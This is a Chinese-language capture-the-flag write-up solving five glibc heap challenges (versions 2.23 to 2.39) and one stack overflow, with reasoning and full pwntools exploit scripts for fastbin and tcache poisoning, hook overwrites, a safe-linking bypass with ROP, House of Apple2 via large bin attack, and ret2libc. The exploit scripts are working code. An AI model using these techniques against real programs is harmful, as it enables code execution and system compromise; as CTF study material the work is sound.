导言
都听别人说这次探姬杯很简单,算新生杯…但这个pwn看起来没那么新生的样子,五堆一栈,栈那道题出的时候我没看,在磕2.35…打完比赛后才发现确实简单,纯纯简单栈溢出,打完后狠狠复现,算是给自己巩固堆了。不过2.39还真是第一次碰,高级货
Heap
2.23
checksec

源审
因为这些堆题的源码都是一样的,所以我就展示一遍






思路
很正常的UAF漏洞,因为是2.23版本,所以我们能利用的就是fast_bins。因为在该版本下,伪造fast_bins区间的chunk时,会检测该chunk的size域是否位于fast_bins的区间内,所以我们要找个fake_fast_chunk,pwndbg里安置了该插件,供我们快速寻找。因为我们劫持的是malloc_hook,所以我们寻找它的fake_fast_chunk即可,一般来说,fake_fast_chunk = malloc_hook - 0x23
因为我已经在脚本里修改过这个fake_chunk了,所以bk和fd才会全是61。总之,这个地方才是我们攻击的地方。利用错位构造即可写出payload


将malloc_hook劫持为onegadget即可getshell,因为远端环境无了,所以我打的本地

Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context(arch = 'amd64',os = 'linux', log_level = 'debug') context.terminal = ['tmux','splitw','-h']
p = process('./heap')
libc = ELF('./libc.so.6')
def add(idx,size): p.recvuntil('>>') p.sendline(b'1') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('size? ') p.sendline(str(size))
def delete(idx): p.recvuntil('>>') p.sendline(b'2') p.recvuntil(b'idx? ') p.sendline(str(idx))
def show(idx): p.recvuntil('>>') p.sendline(b'3') p.recvuntil(b'idx? ') p.sendline(str(idx))
def edit(idx,content): p.recvuntil('>>') p.sendline(b'4') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('content : ') p.send(content)
add(0,0x200) add(1,0x60) add(2,0x60) add(3,0x60) add(4,0x20) delete(0) show(0) p.recvuntil('content : ') malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x68 log.success('malloc_hook==>'+hex(malloc_hook)) libc_base = malloc_hook - libc.sym['__malloc_hook'] log.success('libc_base==>'+hex(libc_base)) onegadget = libc_base + 0xf1247 log.success('one==>'+hex(onegadget))
fake_chunk = malloc_hook - 0x23 log.success('fake==>'+hex(fake_chunk)) delete(1) edit(1,p64(fake_chunk)) add(5,0x60) add(6,0x60) edit(6,b'a' * (0x10 + 0x03) + p64(onegadget)) gdb.attach(p) add(7,0) p.interactive()
|
2.27
这题开始我换虚拟机做了,因为docker里少了点东西
checksec

思路
glibc-2.27版本引入了tcache,但此时还没引入tcache的检测,所以基本就是想怎么申请都行,在这里我们劫持free_hook为system来getshell,free一个内容含/bin/sh\x00的堆块即可

原始free_hook

edit过后的free_hook

修改堆块内容为/bin/sh\x00并free即可

Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context(arch = 'amd64',os = 'linux', log_level = 'debug') context.terminal = ['tmux','splitw','-h']
p = process('./heap')
libc = ELF('./libc.so.6')
def add(idx,size): p.recvuntil('>>') p.sendline(b'1') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('size? ') p.sendline(str(size))
def delete(idx): p.recvuntil('>>') p.sendline(b'2') p.recvuntil(b'idx? ') p.sendline(str(idx))
def show(idx): p.recvuntil('>>') p.sendline(b'3') p.recvuntil(b'idx? ') p.sendline(str(idx))
def edit(idx,content): p.recvuntil('>>') p.sendline(b'4') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('content : ') p.send(content)
for i in range(10): add(i,0x80) for i in range(10): delete(i)
show(7) p.recvuntil('content : ') malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x70 log.success('malloc_hook==>'+hex(malloc_hook)) libc_base = malloc_hook - libc.sym['__malloc_hook'] log.success('libc_base==>'+hex(libc_base))
onegadget = libc_base + 0x4f302 system = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] gdb.attach(p) edit(6,p64(free_hook)) add(10,0x80) add(11,0x80) edit(11,p64(system)) add(12,0x80) edit(12,b'/bin/sh\x00') delete(12)
p.interactive()
|
2.31
checksec

思路
这道题的解法和上边几乎一模一样,只是多了tcache_bins的长度检测,会检测bins上的个数是否和申请的匹配,不匹配的话没法申请出来。比如说tcache_bins上0x90的chunk个数为0,但是我们gdb里显示我们劫持的地址还没申请出来,这个时候如果malloc的话是无效的,没法申请出来。所以要是想劫持hook地址,我们就需要至少两个堆块被free进了tcache_bins里,修改头指针fd为hook即可
直接onegadget
Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * context(arch = 'amd64',os = 'linux', log_level = 'debug') context.terminal = ['tmux','splitw','-h']
p = remote('node2.anna.nssctf.cn',28168) libc = ELF('./libc.so.6')
def add(idx,size): p.recvuntil('>>') p.sendline(b'1') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('size? ') p.sendline(str(size))
def delete(idx): p.recvuntil('>>') p.sendline(b'2') p.recvuntil(b'idx? ') p.sendline(str(idx))
def show(idx): p.recvuntil('>>') p.sendline(b'3') p.recvuntil(b'idx? ') p.sendline(str(idx))
def edit(idx,content): p.recvuntil('>>') p.sendline(b'4') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('content : ') p.send(content)
for i in range(10): add(i,0x80) for i in range(10): delete(i) show(7) p.recvuntil('content : ') malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x70 log.success('malloc_hook==>'+hex(malloc_hook)) libc_base = malloc_hook - libc.sym['__malloc_hook'] log.success('libc_base==>'+hex(libc_base))
onegadget = libc_base + 0xe3b01 edit(6,p64(malloc_hook)) add(10,0x80) add(11,0x80) edit(11,p64(onegadget)) add(12,0x80)
p.interactive()
|
2.35
这道题我在比赛的时候没打出来,赛后才弄出来。
checksec

这题我最开始做的时候没有checksec,没看到canary导致后续一直出错…
思路
做这题的时候就需要看add的源码了

可以看到,所有malloc的堆块都由指针数组ptr来管理,因为开启了canary,不能往栈内修改,只能往rbp及下的位置,所以我们若是能让ptr的元素之一指向栈的返回地址,修改edit函数的rbp为ROP链修改返回地址为ROP链,我们是否就能getshell了呢?为了达成攻击效果,我们得布置好堆。
不过需要注意的是,我们必须在edit修改完返回地址后直接在edit内getshell,因为add与edit栈帧一致,共享同一rbp指向的地址,若是我们edit了rbp,而add从tcache_bins取chunk,chunk的地址是我们的rbp,而rbp+8的位置会被当做tcache_key而被清空,导致我们add时返回了非法地址’0’,使得我们还没getshell就GOF了
首先通过unsorted_bins泄露libc,在free一个tcache_bins区间内的chunk并移位获得heap_base(2.35新增的保护机制)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| add(0,0x410) add(1,0x60) add(2,0x60) delete(0) show(0) p.recvuntil('content : ') main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x60 log.success('main_arena==>'+hex(main_arena)) libc_base = main_arena - 0x219C80 log.success('libc_base==>'+hex(libc_base))
delete(1) show(1) p.recvuntil('content : ') heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12 log.success('heap_base==>'+hex(heap_base))
|


OK,在泄露完libc和heap_base后,我们就来用environ来泄露栈地址
1 2 3 4 5 6 7 8 9 10
| environ = libc_base + libc.symbols['environ'] log.success('environ==>'+hex(environ)) delete(2) edit(2,p64((heap_base >> 12) ^ (environ))) add(3,0x60) add(4,0x60) show(4) p.recvuntil('content : ') stack = u64(p.recv(6).ljust(8,b'\x00')) - 0x120 log.success('stack==>'+hex(stack))
|

有了栈地址后,我们还需要程序的虚拟地址,根据相对偏移来计算出ptr指针数组的地址,来进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| add(5,0x60) delete(5) delete(3) edit(3,p64((heap_base >> 12) ^ (stack-0x08))) add(6,0x60) add(7,0x60) edit(7,b'a' * 0x18)
show(7) p.recvuntil('content : ') p.recv(0x18) elf_main = u64(p.recv(6).ljust(8,b'\x00')) log.success('elf_main==>'+hex(elf_main)) ptr = elf_main + 0x28BF log.success('ptr==>'+hex(ptr))
|



现在该有的基本都有的,该去修改统筹chunk的ptr来getshell了
1 2 3 4 5 6 7 8 9 10 11 12
| rdi = libc_base + 0x23b6a ret = libc_base + 0x22679 system = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) add(8,0x60) delete(8) delete(3) edit(3,p64((heap_base >> 12) ^ (ptr+0x30))) add(9,0x60) add(10,0x60) edit(10,p64(0) + p64(stack-0x20)) edit(7,p64(ret) + p64(rdi) + p64(binsh_addr) + p64(system))
|
先看我们的ptr的指向

申请进去后的指向,此时就已经指向了我们edit的返回地址了

再edit一次ret为ROP链即可getshell


Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import * context(arch = 'amd64',os = 'linux', log_level = 'debug') context.terminal = ['tmux','splitw','-h']
p = process('./heap')
libc = ELF('./libc.so.6')
def add(idx,size): p.recvuntil('>>') p.sendline(b'1') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('size? ') p.sendline(str(size))
def delete(idx): p.recvuntil('>>') p.sendline(b'2') p.recvuntil(b'idx? ') p.sendline(str(idx))
def show(idx): p.recvuntil('>>') p.sendline(b'3') p.recvuntil(b'idx? ') p.sendline(str(idx))
def edit(idx,content): p.recvuntil('>>') p.sendline(b'4') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('content : ') p.send(content)
add(0,0x410) add(1,0x60) add(2,0x60) delete(0) show(0) p.recvuntil('content : ') main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x60 log.success('main_arena==>'+hex(main_arena)) libc_base = main_arena - 0x219C80 log.success('libc_base==>'+hex(libc_base))
delete(1) show(1) p.recvuntil('content : ') heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12 log.success('heap_base==>'+hex(heap_base)) environ = libc_base + libc.symbols['environ'] log.success('environ==>'+hex(environ)) system = libc_base + libc.symbols['system'] log.success('system==>'+hex(system)) binsh_addr = libc_base + next(libc.search(b'/bin/sh')) log.success('binsh_addr==>'+hex(binsh_addr))
delete(2) edit(2,p64((heap_base >> 12) ^ (environ))) add(3,0x60) add(4,0x60) show(4) p.recvuntil('content : ') stack = u64(p.recv(6).ljust(8,b'\x00')) - 0x120 log.success('stack==>'+hex(stack))
rdi = libc_base + 0x23b6a ret = libc_base + 0x22679
add(5,0x60) delete(5) delete(3) edit(3,p64((heap_base >> 12) ^ (stack-0x08))) add(6,0x60) add(7,0x60) edit(7,b'a' * 0x18) show(7) p.recvuntil('content : ') p.recv(0x18) elf_main = u64(p.recv(6).ljust(8,b'\x00')) log.success('elf_main==>'+hex(elf_main)) ptr = elf_main + 0x28BF log.success('ptr==>'+hex(ptr))
add(8,0x60) delete(8) delete(3) edit(3,p64((heap_base >> 12) ^ (ptr+0x30))) add(9,0x60) add(10,0x60) edit(10,p64(0) + p64(stack-0x20)) gdb.attach(p) edit(7,p64(ret) + p64(rdi) + p64(binsh_addr) + p64(system))
p.interactive()
|
碎碎念
比赛的时候的坑我是一踩一个准…忘记了tcache的机制,还想着怎么add后的返回地址是非法地址0呢,然后又因为canary问题,一直没想到该怎么修改。后面忍痛割爱想用large_bins_attack,但是一直没弄出来。赛后再看函数才注意到指针数组ptr,才想到该怎么成功修改ret地址,果然还是不能太着急啊——
2.39
新题目源码
add函数新增源码,限定size大小为large_bins的区间,所以典型的就是利用large_bins_attack

新增保护机制
在这种最新的高版本中,又增加了一些改动和对堆的检测
一
对tcache的指针进行加密,除了尾指针还能仅通过移位获得heap_base以外,其余的都被加密成了些奇怪的数据
以下是我编写的一个小程序来了解这个机制将指针变成了什么样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h>
int main(){ size_t *p1 = malloc(0x80); size_t *p2 = malloc(0x80); size_t *p3 = malloc(0x80); size_t *p4 = malloc(0x80); size_t *p5 = malloc(0x80); free(p4); free(p3); free(p2); free(p1); return 0; }
|
在free到p1时,堆空间是这样的

查看一下各个堆的内容

可以看到,bk都被加密成了同一个数据,而fd只有尾指针是正常的跟以前没什么差别,其余的多少都经过了加密,还有些事一样的加密。具体是怎样加密的等以后研究。
总的来说,对tcache的数据进行了加密,限制了对tcache的利用,不过一般来说我们也只用尾指针泄露heap_base就是了
二
对基地址进行了修改,在我们以前都是以\x7f
开头的,但是在如今的版本,连基地址也进行了随机化,成了\x7x
开头,x位于0-f区间内,意味着我们现在接收数据只能用recv(6)
,而不能用recvuntil('\x7f')
,比如:

可以明显看到与我们常见的libc大相径庭,意味着以后我们在接收基地址的时候会更加麻烦,如果没有字符串让我们进行定位的话,可能就得推敲它的偏移地址了,得一步步动调
思路
在高版本中,目前而言最好用且用途最广泛的IO攻击方式就是House of Apple了,只用一次large_bin_attack就可以实现我们getshell或者其他目的。这里我选择用House of Apple2的_IO_wfile_overflow函数控制执行流
强力推荐roderick01师傅原创的House of Apple系列!
leak libc and heap_base
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| add(8,0x508) add(0,0x510) add(1,0x500) add(2,0x520) add(3,0x500)
delete(2) add(4,0x550)
show(2) p.recvuntil('content : ') large_bin = u64(p.recv(6).ljust(8,b'\x00')) log.success('large_bin==>'+hex(large_bin)) libc_base = large_bin - 0x203F50 log.success('libc_base==>'+hex(libc_base)) IO_list_all = libc_base + libc.symbols['_IO_list_all'] log.success('IO_list_all==>'+hex(IO_list_all)) IO_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps'] log.success('IO_wfile_jumps==>'+hex(IO_wfile_jumps)) system = libc_base + libc.symbols['system'] log.success('system==>'+hex(system))
edit(2,b'a'*0x10)
show(2) p.recvuntil('content : ') p.recvuntil('aaaaaaaaaaaaaaaa') heap_addr = u64(p.recv(6).ljust(8,b'\x00')) log.success('heap_addr==>'+hex(heap_addr)) heap_base = heap_addr - 0x11d0 log.success('heap_base==>'+hex(heap_base))
|
伪造IO_FILE结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| delete(0) edit(2,p64(large_bin) + p64(large_bin) + p64(heap_addr) + p64(IO_list_all - 0x20)) add(5,0x550) chunk = heap_addr - 0xa30 log.success('chunk==>'+hex(chunk)) edit(8, b'a' * 0x500 + p32(0xfffff7f5) + b';sh\x00')
fake_IO = p64(0) * 2 + p64(1) + p64(2) fake_IO = fake_IO.ljust(0xa0 - 0x10,b'\x00') + p64(chunk + 0x100) fake_IO = fake_IO.ljust(0xc0 - 0x10,b'\x00') + p64(0xffffffffffffffff) fake_IO = fake_IO.ljust(0xd8 - 0x10,b'\x00') + p64(IO_wfile_jumps) fake_IO = fake_IO.ljust(0x100 - 0x10 + 0xe0,b'\x00') + p64(chunk + 0x200) fake_IO = fake_IO.ljust(0x200 - 0x10,b'\x00') + p64(0) * 13 + p64(system)
edit(0,fake_IO)
|
解释下后边的fake_IO。
在调用exit函数时,会有这样的调用链
exit->fcloseall->_IO_cleanup->_IO_flush_all_lockp->_IO_OVERFLOW
最后会调用_IO_list_all来遍历每一个_IO_FILE结构体,满足一定条件会调用vtable->overflow函数指针指向的函数。
在这里,我们将wide_data指向chunk+0x100,将_wide_data结构体的_wide_vtable指针指向chunk+0x200,将(_IO_FILE->_wide_data->_wide_vtable + 0x68)(fp)修改成了system(‘;sh\x00’),至于为什么这样修改就详见roderick01师傅的文章了。我来大概阐述下调用流程
_IO_list_all指向我们伪造的_IO_FILE结构体chunk,将vtable指向了_IO_wfile_jumps,_IO_wfile_jumps调用了结构体中的_IO_file_overflow函数,_IO_file_overflow函数调用了_IO_wdoallocbuf(调用这个是经历的一系列检测的,跟前边的伪造有关),又通过两层检验后最终调用到我们的(_IO_FILE->_wide_data->_wide_vtable + 0x68)(fp)
(这个结构也跟我们_IO_jump_t
有关)。也就是我们的chunk->chunk+0x100->chunk+0x200+0x68(';sh\x00')
,至此,我们的攻击就完成了接下来只要主动触发exit函数就好
来看看修改后的chunk长什么样

就挺神奇的,不过我们这个调用链没有用到fcloseall,是因为我们设置的flag位里不许调用该函数了,也算个小点吧

Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import * context(arch = 'amd64', os = 'linux', log_level = 'debug') context.terminal = ['tmux', 'splitw', '-h']
p = process('./heap') libc = ELF('./libc.so.6')
def add(idx,size): p.recvuntil('>>') p.sendline(b'1') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('size? ') p.sendline(str(size))
def delete(idx): p.recvuntil('>>') p.sendline(b'2') p.recvuntil(b'idx? ') p.sendline(str(idx))
def show(idx): p.recvuntil('>>') p.sendline(b'3') p.recvuntil(b'idx? ') p.sendline(str(idx))
def edit(idx,content): p.recvuntil('>>') p.sendline(b'4') p.recvuntil(b'idx? ') p.sendline(str(idx)) p.recvuntil('content : ') p.send(content)
add(8,0x508) add(0,0x510) add(1,0x500) add(2,0x520) add(3,0x500) delete(2) add(4,0x550) show(2) p.recvuntil('content : ') large_bin = u64(p.recv(6).ljust(8,b'\x00')) log.success('large_bin==>'+hex(large_bin)) libc_base = large_bin - 0x203F50 log.success('libc_base==>'+hex(libc_base)) IO_list_all = libc_base + libc.symbols['_IO_list_all'] log.success('IO_list_all==>'+hex(IO_list_all)) IO_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps'] log.success('IO_wfile_jumps==>'+hex(IO_wfile_jumps)) system = libc_base + libc.symbols['system'] log.success('system==>'+hex(system))
edit(2,b'a'*0x10) show(2) p.recvuntil('content : ') p.recvuntil('aaaaaaaaaaaaaaaa') heap_addr = u64(p.recv(6).ljust(8,b'\x00')) log.success('heap_addr==>'+hex(heap_addr)) heap_base = heap_addr - 0x11d0 log.success('heap_base==>'+hex(heap_base))
delete(0) edit(2,p64(large_bin) + p64(large_bin) + p64(heap_addr) + p64(IO_list_all - 0x20)) add(5,0x550) chunk = heap_addr - 0xa30 log.success('chunk==>'+hex(chunk)) edit(8, b'a' * 0x500 + p32(0xfffff7f5) + b';sh\x00')
fake_IO = p64(0) * 2 + p64(1) + p64(2) fake_IO = fake_IO.ljust(0xa0 - 0x10,b'\x00') + p64(chunk + 0x100) fake_IO = fake_IO.ljust(0xc0 - 0x10,b'\x00') + p64(0xffffffffffffffff) fake_IO = fake_IO.ljust(0xd8 - 0x10,b'\x00') + p64(IO_wfile_jumps) fake_IO = fake_IO.ljust(0x100 - 0x10 + 0xe0,b'\x00') + p64(chunk + 0x200) fake_IO = fake_IO.ljust(0x200 - 0x10,b'\x00') + p64(0) * 13 + p64(system)
edit(0,fake_IO) gdb.attach(p) p.recvuntil('>>') p.sendline(b'5') p.interactive()
|
碎碎念
这个堆题让我学到了好多…对初学堆的人来说,确实是一道很有价值的题目,还让我了解了2.39的一些新机制,挺好的
不过研究得我确实想撞墙,光配个24.04的虚拟机弄得我红温,pip都成外部管理包了,不允许直接使用,还得--break-system-packages
…
ATM
checksec

源审


可以看到有明显的栈溢出,修改一下nbyte的大小达成栈溢出条件后,用ret2libc即可
Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * from LibcSearcher import LibcSearcher context(arch = 'amd64', os = 'linux', log_level = 'debug') context.terminal = ['tmux', 'splitw', '-h']
p = process('./app') p = remote('node4.anna.nssctf.cn',28409) elf = ELF('./app')
p.recvuntil(b'password') p.sendline(b'Dusk') p.recvuntil(b'4.Exit') p.sendline(b'3') p.recvuntil(b'deposit') p.sendline(b'1000')
p.recvuntil(b'4.Exit') p.sendline(b'5') p.recvuntil(b'gift:') printf = int(p.recv(14),16) log.success('printf==>'+hex(printf)) libc = LibcSearcher("printf",printf) libc_base = printf - libc.dump("printf") system = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh")
pop_rdi = 0x401233 pop_ret = 0x40101a
payload = b'a' * 0x168 + p64(pop_ret) + p64(pop_rdi) + p64(binsh) + p64(system) pause() p.sendline(payload)
p.recvuntil(b'4.Exit') p.sendline(b'4') p.interactive()
|
原本想上网站搜版本的,结果我的网站炸了没法进…所以就用了LibcSearcher,不过它居然还能搜到2.35的版本,看来是更新了?